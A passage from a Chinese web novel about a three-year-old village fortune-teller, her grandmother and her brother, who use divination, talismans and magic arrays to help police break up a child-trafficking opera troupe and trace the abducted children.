马兆兴委屈啊,“媳妇儿你不知道,温婶子是咱村有名的神婆,她算得可准了。” 欻一下,马兆兴脸上又多一道血印子。 马老太心疼得不行,但也知道儿媳这不是无理取闹,她是担心森森。 马老头请温大娘坐到炕上,“大妹子,我们都知道孩子在戏班子手里,为啥不让我们现在去救?” 温大娘把计划讲出来,“戏班子的人现在都在外头吃饭,你们去救也行,人家回头就扯个谎,推到孩子头上,反正他们晌午不在,就不许是孩子自己个跑进来的?” 众人一听沉默了。 你别说? 这不是没可能! 温大娘说道:“等下午,下午还有一场戏,等戏唱完,你们家强闯后台,抓他个人赃并获!” 马兆兴担心儿子,“那森森咋办?人贩子打他骂他不给他饭吃咋办?” 温大娘就道:“你家森森,他是被一根棒棒糖哄走的。” 马兆兴脸色一变,“该!就该让他吃吃苦头!” 话落,他脸上又多了一道印子。 “马兆兴!我要跟你离婚!” 马兆兴媳妇儿痛哭流涕。 儿子丢了,当爸的不去忙着找,反倒信一个骗子的话? 温苒糯糯的嗓音这时候响起来,“婶婶,要不我给你算一卦?” 森森妈恍然抬起头,这年头三岁小孩儿都能骗人了吗? 马家人也是一脸吃惊,三岁小孩儿也能算命了? 妈耶,人家三岁能算命,他们三岁那会儿能记事了吗? 不用森森妈答应,温苒看着她的脸, 自顾自断起了命,“你与生身父母不亲,得养父母宠爱,幼时无忧,学业不精……” 森森妈已经听不见别的了,她满脑子都是‘与生身父母不亲,得养父母宠爱’。 马兆兴吃惊地看着媳妇儿,“媳妇儿你不是爸妈亲生的?” 森森妈喉咙发紧,她愣愣地点了点头,“嗯,我亲生母亲未婚先孕,生父身份不详,应该是哪条街上的混混。” 这件事她都是偶然才知道的,她爸妈怕她多想,一直瞒着她不是亲生的事实。 马老太忙说道:“这下你该信你温婶子了吧?她不是骗子,她是有正经道行的,她说森森没事森森肯定没事。” 森森妈回过神来,面色凌厉,“没事就让他吃点苦!我少了他什么好东西了?一根棒棒糖就叫人哄走了!挨揍也是活该!” 马老太动了动嘴,“那恐怕是挨不了揍,你婶子派了纸人过去保护森森。” 马家人听了这话,心下更定了,开始张罗起来席面。 温苒饱餐一顿,在马家的炕上歇了一觉,醒来就听霍骁北说事情解决了。 温苒:“??!” 三岁小孩儿如遭雷劈。 什么? 她错过了大场面? 她愣神的时候,霍骁北给她穿衣服穿鞋,“戏快唱完的时候,马家人拿着菜刀铁锹强行闯进了后台,在戏班的箱子里发现了几个孩子。” 不止有马林森,今天是最后一天,也是最好的机会,戏班子趁机拐了好几个小孩儿。 发现孩子后,当时的场面堪称恐怖,听戏的观众一窝蜂把戏班子的人围起来,等到县城的刑警过来才散开。 散开后,戏班子一群人已经奄奄一息,有两个还当场咽了气。 然而这也没法追责,只能批评教育了一顿。 相比这点‘过错’,抓住人贩子的功劳可是实打实的。 当然这些都是霍骁北通过纸人看到的,他年纪小,去现场的时候压根儿没带他,他就在这里一直照顾温苒。 温苒托腮,大眼睛里闪着奇妙的光彩,“所以,那个森森挨打了吗?” 霍骁北:“……” 霍骁北:“打完了两圈,不久前去了卫生所买消肿药。” 本以为这件事就算结束了,没成想人贩子团伙带回县城的当晚,戏班的班主就暴毙横死在拘留所里。 第80章 第80章零零年代乡村小神婆5 这个年代监控还没有普及,山陵县也不是什么富裕的县城,刑警队就四个人,办公地点都跟派出所挤在一处。 虽然警力不足,但戏班班主死在拘留室这样的事,未免过于骇人听闻,也显得他们过于无能。 事情被勒令不许传出去,不管刑警队还是派出所都还要脸。 刑警队老钱从领导办公室里回来,一屁股仰在工位上,皱纹都多了两条。 徒弟小张一脸愧疚地走过来,“师父,都是我不好,没看住嫌犯。” 老钱呼噜脸的动作停住,身子往前跟了下,拿过水杯咕咚咕咚灌了两口,“不关你的事,你看不住,就是我们都在也看不住。” 小张脸色涨红,“师、师父你不用安慰我,我知道,我坏了事……” 那可是个穷凶极恶的人贩子啊!手上不知道多少条人命? 而有了这个嫌犯,他们就能顺藤摸瓜救回来多少孩子? 当然,最后的功劳想必也是巨大的,升官表彰轻而易举。 可现在,都没了。 小张顿觉人生无望,他肯定被领导和同事们恨死了吧! 老钱摆摆手,“确实坏了事,市局的同志马上就到,现在人没了不好交代。” 他们小县城才多少警力,这么大的案子就算功劳不小,最后也得移交给市局办理。 小张更绝望了。 派出所老民警听着,问道:“嫌犯真是自杀啊?” 老钱顿了顿,摇头。 戏班班主是让掐死的,脖子上两个青紫的手印,看手掌大小应该是个女性。 比较诡异的是,受力点,或者说颜色更深的部位在脖子上面,卡着下颔的位置。 即便施害者比嫌犯高出很多,这种受力现象也几乎不可能出现。 非要说的话,更像是吊死的。 而套用到戏班班主身上,就是吊起来掐死的。 老民警都听呆了,“那个班主胖得跟猪一样,得多强壮的女人才能把他举起来啊?” 老钱笑了笑,表情意味深长,“你怎么知道是个人呢?” 老民警吞了吞口水,下意识扭头看了眼窗外,“大白天的,你别搞这些神神鬼鬼的……” 老钱摇头失笑,“不跟你说了,有个任务要去趟乡下。小张,去推车,先吃个早晨饭。” 酸枣村。 温家小院上空飘着阵阵肉香,堂屋的矮桌摆满了炸货,温苒蹲在小板凳上吃得满嘴流油。 小肉丸、鸡米花、薯条、茄盒炸蘑菇…… 温大娘脚踩板凳,从油锅里捞出春卷和芝麻球。 霍骁北接过小木筐,两手捧着放到桌上。 温苒去拿小肉丸的手登时拐了个弯,却在半空中被拦住。 她鼓着腮,很生气。 霍骁北不为所动,“刚出锅的,等等再吃。” 温大娘在给油锅里下鸡排,闻言扭头道:“听你哥哥的,你又没练过铁砂掌,回头烫着了,肯定抹着泪哭唧唧,还得让你哥哥抱着哄!” 温苒:“……” 温苒恼羞成怒,“我才不会!” 霍骁北上扬的嘴角压都压不住。 温苒更气了,扑过去亲了他满脸油,嘴里还喊着:“你不许笑我生气了我生气了——” 温大娘愣了下,然后笑得前仰后合。 霍骁北一身狼狈地去洗脸换衣服。 温苒叉着腰,一脸骄傲神气。 看!这就是得罪我的下场! 霍骁北:“……” 炸东西用了半锅油,温大娘却一点也不心疼。 “你妈啊昨天打了电话,说她过阵子就回来。” 温苒懵懵地抬起小脑袋,往一边歪了歪,“昨天打电话?” 趁她愣神,霍骁北抢了她一根香肠,“你那会儿睡着了。” 温家没有安装电话,温大娘是去别人家里接的,那会儿确实挺晚,黄金档连续剧的第二集都播了一半。 温苒小脑袋歪到另一边,“可是,为什么那么晚才打电话?” 两边又没有时差。 还是说,2004年就已经出现996这种福报了吗? 温大娘顿了顿,“忘了跟你说,你妈妈碰到点麻烦,和她男朋友分手了,最近在忙服装店拆伙的事。” 对妈妈神奇体质有所了解的温苒:“……哦。” 大过年的分手,还要拆伙,属实有点儿惨。 吃饱喝足,温苒洗洗干净,变回可爱糯米团子,搓搓小手拿出符纸和毛笔。 温大娘调小电视音量,“不看动画片了?” 温苒仰起下巴,“姥姥,动画片是小孩子才看的!” 温大娘:“……” 哪家的三岁不是小孩儿? 霍骁北从西屋里拿朱砂过来,听见这话见怪不怪,还帮着解释:“她现在是小大人。” 温大娘:“……” 不是很懂你们小大人。 温大娘把频道换到自己喜欢的电视剧,侧目看着俩小大人,“画这么多符,你们小师叔那里可不一定能卖出去。” 温苒振振有词,“师叔在市里有人,可以卖去市里,赚得更多。” “我多画点,等妈妈回来都给她,她赔了钱肯定很伤心。” 温大娘听见这话,心里不免酸酸的,“都给你妈啊?姥姥的呢?” 温苒直起小身板,一副‘哎呀姥姥你可真笨’的语气,“我的都是姥姥的啊!” 温大娘顿时又跟掉进蜜罐儿里一样,甜 滋滋的喜笑颜开,“就你嘴甜!是不是又偷偷吃糖了?” 温苒眼神开始乱飘。 温大娘的视线变得危险,“我都把糖放到柜子上了,你怎么拿到的?!” 她斜眼看着霍骁北,应该不是这小子,他坐车都不用买票,踩凳子也够不着柜子顶。 但这小子肯定知道! 看到姥姥眼神的方向,温苒小身子一颤,扑过去一把捂住霍骁北的嘴,“姥姥不要看他!他不知道!” 温大娘拍炕而起,“他肯定知道!你这是掩耳盗铃!” 温苒:“……” 温苒慢慢转了一圈眼睛,嗓音软软糯糯,“姥姥,我是三岁小孩儿,我听不懂成语。” 温大娘:“……” 温大娘最终还是逼问了出来,以下次去城里不带小孩儿为筹码,知道了小馋猫儿是怎么偷糖吃的。 五鬼运财! 天杀的,哪个天师会用五鬼运财术偷糖吃啊? 温苒拧着小手,弱弱解释:“我是在练习,我总不能去运别人家里的糖吧?” 温大娘深呼吸,为什么就跟糖干上了? 低头瞥了眼小孙女,破案了,三岁的天师也是小孩儿!哪个三岁小孩儿不馋糖吃? 为了不让三岁小孩儿再吃糖,温大娘翻出糖来,自己都给吃了。 还在三岁小孩儿面前吃,馋哭她! 温苒:“?!!” 坏姥姥! 温苒大声:“哼!” 她才不稀罕呢! 温大娘:“哼!哼!” 又塞了两块糖。 温苒眼圈一红,扑到哥哥身上,要哄! 霍骁北把小孩儿抱去西屋哄,远离罪恶的吃糖现场。 祖孙两个闹了一场,见了面就冷哼扭头,谁也不理谁。 此时,刑警老钱和徒弟小张打听着来到磨房。 聚闲的婶娘们瞥到生面孔,一下子警惕起来。 别不是人贩子吧? 不怪她们疑神疑鬼,这谁能想到戏班子还是人贩子团伙呢? 老钱笑着上前出示证件,婶娘们的表情由警惕换为八卦。 “警察啊,是为了前两天的人贩子戏班吗?” “是来发奖励吗?” “是不是来找老张家?就是他家请的戏班子,该不会老张他儿子也是人贩子吧?” “嚯!你不说我都没想到?” “就是!不然为啥他不请别的,就请这个?指定是一伙的!” 瞅着她们自己聊起来,还越聊越跑火车,老钱连忙打断,“案件还在调查中,我们来是想找咱村的温半仙儿,她是住在咱酸枣村吧?” 找温大娘啊? 小芳挪了挪凳子,“是是是!温大娘是咱村的,你们找她干啥?” 老钱经验老道,闻言笑着回道:“来求几张符,顺便了解一下案件情况,听说就是这位大娘先发现的人贩子。” 小芳抄起凳子站起来,“那你可找对人了,我们温大娘是有正经道行的,她的符可不是外头卖的假符,是真有用!” 老钱眼神动了动,有道行好啊,顿时脸上的笑就更真诚了。 其他婶子一瞅这情况,也抄起凳子,打算过去看看情况。 一行人往村里走,在岔路口碰到一群人风风火火过去。 小芳眼尖,“哎!那不是、不是那谁吗?” 其他婶子定睛瞅了瞅,附和道:“就是那谁!他来咱村干啥?” 老钱和小张听懵了,哪个谁啊? 小芳回头朝俩人招手,神情严肃,“快走!他们肯定是来找大娘麻烦的!” 老钱:“?” 不是说大仙有真道行?哪个不要命了敢找大仙的麻烦? 一群人倒腾着腿脚追上去,老钱和小张也不敢耽搁。 这么多人凑一块儿,万一闹出事儿来可咋办? 前两天不就是吗? 人贩子当场死了俩,还有仨在医院里抢救,能活蹦乱跳的只有躲得远远的班主一个! 一前一后这老多人,还你追我赶的,顿时吸引了在自家门口唠嗑的百姓。 抻着脖子问一嘴,不等得到回答,腿脚就很实诚地加入到了人群中。 听到信儿的张耀祖一家,当仁不让地混入其中,等着看温大娘的笑话。 张耀祖娘拍着胸脯,得意地向儿子保证:“放心吧!朱老娘可是十里八乡有名的泼妇,不然她家当初也不敢和温家结亲!” 温家那是普通人家吗? 温大娘个神婆,欺负了她姑娘,倒霉都是小事,破家都有可能,一般人真不敢跟这样的人家结亲。 张耀祖扯起一侧嘴角狞笑。 下了个大长坡,往北边一拐,就进了温家那条街。 离温家小院越来越近,走在最前方的,赫然就是朱胜伟母子。 母子俩呼亲唤友,纠集了一帮人来要孩子,说事成之后办席面请大家吃顿好的。 ——不这么说根本没人来,他们当初扔孩子的时候,温大娘闹得阵仗属实是大,附近十里八乡都传遍了。 朱胜伟母子领着一群人把温家大门给围了,后头酸枣村的村民把他们给围了。 老钱和小张一瞅这情况,就知道来闹事的吃不了好。 如果占理还好说,不占理就等着被打出去吧! 人群最前面,站定后,母子俩碰头低语一番,朱老娘走上前叫门。 外人踏入阵法,迷魂阵瞬间激活生效。 朱老娘步子一顿,眼前景象变幻。 温家的小院不见了,取而代之的是暗无天日的荒野。 冷风呼啸,朱老娘感觉手腕脚腕一沉,低头去看,沉甸甸的手铐脚镣不知何时出现。 耳旁一声厉喝炸响:“呔!尔等找打!” 这声呵斥让朱老娘神魂发颤,浑身僵在原地。 余光瞥见一道长鞭挥来,朱老娘吓得大脑一片空白,生生受下这一鞭子。 鞭子抽在身上,远比朱老娘想象中还要疼,是一种从魂魄深处涌上来的疼痛。 朱老娘发出一声惨叫,就地打起了滚。 阵法外面的百姓都吓了一跳,前头看到的懵逼,后头没看到的好奇。 这是闹啥妖呢? 但紧接着,更诡异的出现了。 朱老娘叫声凄惨,嘴里喊着:“鬼大人饶命啊!民妇不敢磨蹭了,不要带民妇去见阎王爷!” 众人:“???” 大白天的你说啥胡话呢? 朱胜伟看着自己老娘的惨样儿,怕得两股战战,白着脸狂吞口水,拔腿就往人群里钻。 朱老娘儿子都吓成这样了,跟来的人自然不会逞强做什么,纷纷跟着往后退往一边躲。 人群骚乱起来。 老钱和小张趁机挤到前面来。 朱老娘到了阎王殿,噗通跪下开始交代。 “阎王爷饶命啊!我就是想要个孙子我没有害过人!” “我孙女?” “她一个丫头片子要那么贵的命有啥用?她当姐姐的就该让着弟弟!” “没有没有!不干我儿子的事!” “都是我老婆子的主意跟我儿子没关系!” 老钱和小张的眉狠狠皱起来。 换命是什么? 这老婆子想把她孙女的好命换给她孙子? 藏在人群中的张家人,一看这情况脸色瞬间就变了。 张耀祖爹抖着腿,“坏了坏了!他们也中了招儿!” 张耀祖紧紧皱着眉,唤出系统后,盯着寥寥几样道具的包裹,表情跟吞了苍蝇一样。 老天不公啊! 既然给了他金手指,为什么还要抠抠搜搜,干脆给他拉满不好吗? 他的目光一一划过转运符、聪明符、倒霉符、清神符和体质丹。 最后肉疼地取出清神符,“妈,你去把这个贴在她身上。” 张耀祖娘接过符箓,看了眼满脸疑惑,“这是什么?能有用吗?耀祖你别不是被街上那些老东西给骗了?” 张耀祖脸黑了黑,没好气道:“让你去你就去!” 张耀祖爹见儿子生气了,抄起拳头给了媳妇儿两拳,恶狠狠道:“赶紧去!别让我动手!” 张耀祖娘呲牙咧嘴地揉着胸口 ,拿着符箓跑到前面。 阵法再入一人。 众目睽睽下,继朱老娘之后,张耀祖娘也噗通一跪,开始交代。 “阎王爷饶命!” “不是我做的!不是我让朱老娘换命的!我就是想让朱老娘来抢孩子!我没让她换命!” “不是不是!” “不是我儿子指使的!他是文曲星下凡,他聪明,不是他指使的!” 围观人群一片哗然。 这怎么还跟张家扯上关系了? 张家爷孙仨看到张耀祖娘和盘托出,心里直骂娘。 见势不对,三人转身就想溜。 结果没走两步,抬头一看,前后左右的人都面色不善地盯着他们。 也不知道谁先出的主意,不多时张家爷孙和朱胜伟都被扔进了阵法中。 果然没有老百姓不怕阎王爷,就是张耀祖,一开始不老实,被抽了两鞭子也跪得规规矩矩起来。 老钱一瞅这情况,心中倏然大定。 没妥了,这位温大娘真是半仙儿! 小张看得嘴巴都合不拢了,妈耶,有这手段,什么穷凶极恶的犯人审不出来? 这次的阵法威力大,几个人快把这辈子做的坏事都交代了出来。 张老头偷看年轻媳妇儿洗澡上厕所,被梆梆扔了一堆石头,打得头破血流。 你问为啥不直接动手? 谁没点亏心事啊?可不敢靠得近了嚷嚷出来! 张耀祖爹是个惯偷,什么都敢偷,小东西不嫌弃,大东西不嫌多。 梆梆梆,又是一堆石头砸过去。 张耀祖娘来来回回就那点破事,不是打闺女就是打闺女。 朱胜伟就有点儿意思了,他是乡里的小学老师,变着法儿坑了不少学生的钱,心情不好了还体罚学生。 酸枣乡办的小学就在酸枣村里,过了马路就是学校,村里孩子都在那儿念书。 听到朱胜伟故意折磨学生,不当老师更不当人,这下子怒火蹭地冒出来,梆梆梆连砖头都有丢的。 要不是老钱和小张拦着,朱胜伟今天得趴这儿了。 院子里,一大两小扒着门缝看足了好戏。 温大娘冷笑,“换命?她们想得倒美!” 还有那个扫把星,小小年纪心肠就这么歹毒,竟然能想到这么恶毒的算计? “他别是真碰到走歪门邪道的天师了吧?” 温大娘低头,跟俩孩子嘀咕。 温苒点了点小脑袋,“可能哦!他刚才还给了他妈妈一张符箓,总不能是他买来吧?他们家那么穷,连饭都吃不起。” 哪有钱来买符箓? 温大娘表情严肃起来,“那他倒霉了。” 小孩儿不懂,温苒眨巴着大眼睛,“为什么?” 温大娘挑了挑眉,终于也有她宝贝孙女不懂的了。 “他是扫把星命,也算是特殊命格,说不得能有什么用处呢?” 温苒:“……” 温苒歪着小脑袋认真想了想,然后认真点了点头,“我知道了!” 温大娘奇道:“你又知道了?” 我滴乖乖宝贝小孙女,你才三岁就懂这么多,给别人留点活路吧! 温苒弯着眼笑,“嘿!如果是我,我就把扫把星派到敌人身边,让敌人倒霉!” 温大娘:“……” 温苒摇着小脑袋振振有词,“这叫,没有无用的垃圾,只有放错的资源!” 温大娘张了张嘴,最后发现无处反驳。 温苒解除了阵法,陷入幻阵的几人身体猛地绷直,眼皮耷拉下来,倒在地上。 一回生二回熟,酸枣村的村民看到这情况,就知道阵法失效了,上前把人拖出来。 大门前的地方空出来,附近邻居上前叫门,“婶子!婶子!在家不!” 温大娘清清嗓子,推开了门,“在啊!有事?” 老钱和小张:“……” 你哪怕耽搁一秒呢? 邻居笑了,“婶子你一直在看啊?” 温大娘矜持地点了点头,“一早察觉到阵法有异动,就过来看了眼。” 捕捉到关键词,邻居惊了,“婶子你都能布阵了?你这道行越发高深了!” 老钱攥起了拳头,激动地脸色通红。 阵法! 他们刑警队正需要阵法! 小芳这时挤上来,“婶子婶子,两位警察同志过来找你,说想跟你买几张符。” 温大娘目光一转,看向人群中的老钱和小张。 老钱和小张又惊又喜,大师!真大师! 她们之前可没见过面,大师却一眼就能认出他们来! 温大娘要知道他们怎么想,肯定摆着手不敢当。 真大师还是她身边的两个娃娃,打眼一瞅就瞅出了他俩的身份。 温大娘自己单纯是野路子,谁叫她这一圈人都认识,就这俩人的脸没印象? 温大娘把门大打开,招呼他们进来。 老钱快走两步跟上去,搓着手有些拘谨,“那个,不管他们了?” 温大娘摆手,“干我啥事?没见他们忙着呢吗?” 小张下意识回头瞧了一眼,除了那个六七岁的小孩儿,剩下几个大人哪个不是叫六七个人围着? 确实挺忙的。 温大娘请两位进屋,其他邻居都自顾自在院里找地方坐。 屋里,上了茶水后,温大娘问道:“两位想买什么符?” 老钱默了默,“其实,我们今天来还有另外一件更重要的事。” 温大娘纳闷,“什么事?” 小张憋不住,急着交代了班主的情况,“大师您前两天抓住一伙人贩子,乡派出所转交到了我们县城刑警队,就在昨天,领头的班主在我们拘留室里被掐死了!” 温大娘瞬间坐直了身体,“啥?被掐死了?” 小张连着点头,又赶忙补充道:“但可能不是被人掐死的!” 他看了师父一眼,早上那会儿师父话里的意思,他已经明白了。 普通女性很难有举起班主并掐死他的力量,但若是厉鬼呢? 小张眼含热泪恳求道:“大师!请您出手帮帮我们吧!” 大师没说话,小大师开口了,“那快走吧,到底发生了什么,我们可以问一问班主的鬼魂。” 老钱默默低头,看向声音的来源。 ——屋外扒拉着门框露出小脑袋的小女娃。 这怕不是未来的小神婆? 温大娘轻咳一声,“确实得趁早去,趁黑白无常还没把班主的魂魄勾走,得从他嘴里问出其他孩子的下落。” 一行人收拾收拾,直奔县城。 出门时,瞥到还在昏迷的朱胜伟母子,温大娘想起了那个不该出生的孩子。 换命? 呸! 等着倒霉吧!【你现在阅读的是 】 80-90 第81章 第81章零零年代乡村小神婆6 托邻居看家,温大娘带着俩孩子跟警察走了。 老钱和小张欲言又止,他们这是去办正经事,大师为什么要带孩子? 虽然这两个孩子看起来很乖巧,但孩子既然是孩子,就意味着麻烦不断。 老钱推着自行车,终究还是开口了,“大师,要不把两个孩子也托邻居照顾?” 温大娘想也不想,“不成,她们俩有大用。” 她自己那点道行够干啥的? 小张吃惊地张大嘴,难不成这两位也是小天师? 小天师温苒挺了挺胸脯,等着看吧! 因为事情紧急,老钱去乡政府借了辆轿车,载着三位天师嗖一下开到公安局门口。 老钱瞄了眼院里的停车位,不由自主皱眉发起了愁,“市局的同志们到了。” 挨个下车,温苒晃着脚脚,抓着霍骁北,用力一蹦蹦下去。 站定后,她拉上姥姥的手,跟着走了进去。 老钱被叫走,小张带她们去办公室,用一次性杯子倒上热水送过来。 “据说那个戏班团伙在市里演出过,趁乱拐卖了不少孩子,这是个大案子,咱们县城警力不足经验也不够,市局的同志是来接手的。” 小张说这话的时候,一面无奈一面又是不甘心。 这案子要办好可是实打实的功劳,但扪心自问,他们县城刑警队能办好吗? 不能! 所以只能眼睁睁看着功劳从手缝里溜走。 温苒捧着纸杯,仰起小脑袋问小张,“可是戏班的班主死了,你们会不会被批评?” 小张感觉心口中了一箭,这小女娃长得可可爱爱精致漂亮,但说的话可太伤人了! 小张虎目含泪,用力点了点头,“肯定会!而且昨天晚上正好是我值班!” 一大两小,三位天师再看他的眼神,毫不意外浮现出同情。 好惨! 老钱去得有点久,小张买了午饭回来,饭都快吃完了,一群人过来办公室 。 老钱先招呼徒弟去买饭,然后向温大娘介绍,“这位是市局下来的刑侦支队的支队长,想跟您了解点情况。” 温苒啃着包子抬眸看了眼,是个比老钱年纪还大的刑警。 温大娘擦擦嘴,叮嘱俩孩子,“我去去就回,你们赶紧吃,吃完开始干活。” 这怎么也是和公家打交道,公家可不会亏待咱,这一趟能挣不老少呢。 温大娘匆匆出去,温苒凑到霍骁北旁边儿,“你开阴阳眼看一看,这里面有生魂和厉鬼吗?” 警局不是一般的地方,警察的身份带着正气和煞气,寻常鬼魂难以近身,何况是闯进警局,冒着魂飞魄散的风险杀了个人。 温苒的阴阳眼是天生的,只不过她年纪小,为了她的身心健康暂时封印了起来。 更小的时候,她因为能看到鬼魂,经常魂魄离体追赶对方,导致魂魄不稳。 小孩儿离魂的情况可轻可重,温大娘就寻了一位师叔给她封印起来,到了年纪才能打开。 霍骁北则是入门以后开的天眼,他特殊在体质上,阳气很足,据说放在以前灵气充足的时候,适合当一名剑修。 霍骁北开天眼看了一圈,“没有阴气特别重的地方。” 也就是说,没有厉鬼,很可能班主的魂魄也不在这里。 温大娘回来,带两人一起去拘留室。 不知道她和其他人说了什么,大家对两个孩子也在场并不意外。 比较让他们意外的是,面对班主死状凄惨的尸体,两个孩子镇定自若,甚至有些习以为常。 看到众人的反应,温大娘心说,就这点程度才哪到哪,死前碎成肉泥的鬼魂孩子都见过。 温苒背着小手,哒哒哒走到班主尸体跟前,绕着走了一圈又一圈。 观察完毕! 她从兜里掏出一张符箓,交给霍骁北。 霍骁北两指夹住,默念一句咒语,符纸无风升起无火自燃,一道白烟向上飘散,原地消失。 霍骁北对着温大娘摇了摇头。 温大娘对门口围观的人群解释:“班主的鬼魂不在了。” 市局支队长不解,“不在了?是被鬼差拘走了吗?是不是需要请阴神把班主的鬼魂带上来?” 温大娘:“……” 哟呵,你瞅着还挺明白? 温苒嗓音脆生生的,跟他们解释:“班主是昨天夜里刚死的,如果是鬼差勾走了他的魂魄,留下的气息不会那么快消散。” 门口的人顾不上惊讶这三岁娃娃口齿清晰伶俐,忙问道:“所以不是被鬼差勾走的?” 温苒点了点小脑袋,“但这里确实出现过一只厉鬼,就是她杀死了班主。” 温大娘接过话,“不出意外,班主的鬼魂应该被厉鬼吃了。” 班主就算死得太惨,刚成为鬼魂时力量也不会很强,面对能轻易杀死他的厉鬼,他的魂魄毫无还手之力,被吞食理所当然。 门口的人呼吸滞了滞,所以这么重要的人贩子首脑就魂飞魄散了? 其他孩子的下落怎么办? 他们又该怎么跟上级交代? 队长心里沉甸甸的,大石头压了一块又一块。 他掐了掐隐隐作痛的眉心,问道:“是厉鬼杀死了班主,莫非班主也是受人指使的?幕后指使看他被抓,所以派厉鬼来灭口?” 温苒重重点头,脸蛋上的婴儿肥晃动,“应该是这样。一般情况下,厉鬼不会主动靠近甚至进入官方机构,被指使的可能性很大。” 厉鬼吞噬班主魂魄,补的那点都不够她进来一趟消耗的零头,属实是得不偿失,没有额外目的说不过去。 队长只感觉眼前一黑,人贩团伙有幕后指使?幕后指使很可能还是个道行不浅的邪恶天师? 天师拐卖孩子能做什么? 定然不是为了钱,天师是世外高人,还能缺钱吗? 一瞬间,在场人脑海里闪过俩字:邪术! 那些孩子们凶多吉少啊! 祖孙两个交换了个眼神,温大娘清了清嗓子,“有关被拐卖孩子的下落,我们可以大致卜算出来,至于如何解救就要靠你们了。” 队长一瞬间满血复活,“那就麻烦大师了!救人是我们警察的本职工作,义不容辞!” 为了能让三位大师专心卜算,所长让出了他的办公室,还命小张和一个民警在门口候着,随时听训。 办公室里没别人,温苒先起了一卦,卜算杀害班主的凶手。 结果算了三次,一次比一次离谱。 东边村里的茅坑、南边坟地的棺材,还有北边都要上天了。 霍骁北的也很离谱,都猫河底去了。 温大娘琢磨着,“许是对方用了什么办法遮掩。” 温苒小手点了点下巴,“但我们卜算的结果都在山陵县里,说明对方出不了这个范围。” 看来那个天师的道行也不怎么样。 温大娘出去把结果告诉他们,老钱立马接过寻找可疑人员的任务。 这个任务并不轻松。 山陵县大大小小十几个乡镇,每个乡镇下头还有十几个村子,逐一排查起来想想就要命。 所幸小县城外来人口不多,有生面孔停留,大家都会注意到。 办公室里,花了一下午的时间,温苒和霍骁北才找出一半孩子的下落,其中许多孩子都已经过世。 这戏班子有些年头了,一开始只是零零散散的拐卖,后来成了规模,拐卖替代唱戏变成主业,为了拐卖戏班子才到各地接唱大戏的活儿。 被拐卖的对象大多是小男孩,其次是年轻女性,小女孩儿和半大的男生并不多。 小男孩卖给想要儿子的家庭,年轻女性卖给想要媳妇儿的光棍。 而小女孩儿是‘赔钱货’,半大的男生记了事,都‘卖不出去’。 拿到一部分名单后,市局来的刑侦支队长立马给单位领导打电话,要求解救市郊附近农村的受害者。 市局那边飞快行动起来,山陵县里,两个小大师忙活一个下午,肚子饿得咕噜噜叫唤。 温大娘一手一个,跟这边的人的告别,“天儿也不早了,我们明天再来。” 所长当然不是没有眼力见的,当即安排车子和司机,“让小张带你们在县城吃了再回去,他开车,干脆在婶子家里过一宿,明天再坐车过来?” 温大娘觉着不错,这还车接车送的,“那也行,我们明天早点来。” 这个点早就没有了公交车,但有轿车坐,吃了顿小炒,温大娘拐弯而来到符纸店。 第一次来到这种地方,小张整个人都被震住了。 他就是县城土生土长长大的,他咋不知道临街的铺面后头还有这犄角旮旯的地方? 看到他们,正在呼噜挂面的齐冰寒惊着了,“怎么这时候过来?这个点应该没有公交车了吧?” 温大娘点了点头,三言两语交代了今天的事,说道:“公安局的领导想请我给布个阵,我来找点东西。” 齐冰寒干张着嘴,表情跟见鬼了一样,“师姐!你别跟我说你都会布阵了?!” 那可是阵法! 比符箓还要难上千百倍的阵法! 他这师姐最拿得出手的就是画符,成功率能达到百分之十,但也仅此而已,阵法的门槛她别说摸了看都看不见! 等等! 齐冰寒想到前几天师姐买的阵旗,她该不会真学了一两个阵法吧?! 温大娘:“……” 虽然并不是她布阵,她也不会布阵,但她感觉被小瞧了。 不过没关系,她小孙女会布阵。 温大娘扯起嘴角笑了笑,“不是我,是我这俩徒弟。” 齐冰寒:“?!” 他缓缓低头,视线徐徐下移,落在两个矮墩墩上。 温苒背着小手,仰着脸蛋,挺起胸脯面带微笑,无形中透露着她的自信和骄傲。 霍骁北也站得笔直,明明只有五岁,但莫名给人一种老成稳重的感觉。 齐冰寒:“……” 师姐还不如说是她自己突然开了窍! 温大娘懒得跟他废话,都这晚了回头孩子困了倒头就睡咋办? 她道:“带我们去瞧瞧,少不了你的钱。” 齐冰寒还能说什么,只能带着她们去了地下室。 阵法是温苒的强项,她挑了几样东西,又列了个单子交给齐冰寒,背着手笑眼弯弯说道:“师叔,我刚画了一批符箓,明天给你带过来,你去市里一定要卖个好价钱哦!” 齐冰寒拿着清单,默默看着三岁小娃娃,深深地叹了口气。 唉! 人比人气死人啊! 他三岁的时候,师父说他还整天抱着拳头啃呢。 “放心,肯定给你买个好价钱。不过给我的报酬也得提一提,一枚符箓我要再加十块钱。” 亲师门明算账,齐冰寒狮子大开口。 温大娘吼他:“抢钱啊?还抢孩子的钱?还抢你师侄的钱?五块!不能再多!” 齐冰寒:“……” 齐冰寒音量变弱:“五块就五块。” 符纸店没有赊账一说。 不过齐冰寒显然也不是脑壳真有问题,跟公安局的人还一味死犟,他把东西从货架上取下来,约定暂时保留一个月。 折腾到这么晚,回家的路上温苒就撑不住,躺在姥姥怀里睡着了。 第二天,没睡醒的温苒迷瞪着眼爬上车,在后座又眯了一觉。 进了县城,温大娘说在符纸店停一下,小张挠着脸不好意思说道:“婶子,咱们公安局也想跟您买一些符箓,能不能让咱们先挑,过会儿我再给您送到齐大师这里?” 上门的买卖傻子才不做,温大娘爽快点头,“行啊!” 车子没停,直接去了公安局。 一大早就有好消息,市局那边来了电话,昨天连夜行动,救出了一名刚被拐卖的四岁男孩儿。 但紧接着就遇到了问题,孩子还不记事,家住哪里父母叫什么一概不知。 市局来的队长一拍脑门,这还不好办?现成的大师就在身边啊! “大师,咱们市局的领导想请您过去一趟,把孩子都给送回家和父母团聚。” 温大娘没办法拒绝,她自己就有个三岁的孙女,能不晓得丢了孩子有多着急? 眼看市局要抢人,县城这边不干了。 “不行啊!咱们这边一摊子事还没解决呢,送去医院的人贩子又死了一个,死因也不太正常,还有只厉鬼逍遥法外,作恶的天师也没抓到,万一趁大师们不在,那些东西闹妖咋办?” 温苒绷着小脸点了点脑袋,确实确实。 所长一看有门儿,费劲蹲下来,搓着手开始和温苒拉交情,“小天师,咱们算卦在哪儿不是算?去市里一趟坐车都要半天呢,舟车劳顿的,您这小身板熬不住生病咋办?” 市局来的警察们不甘示弱,“没事,我们有二十多年的老司机,开车一点也不颠簸,绝对不累人!” 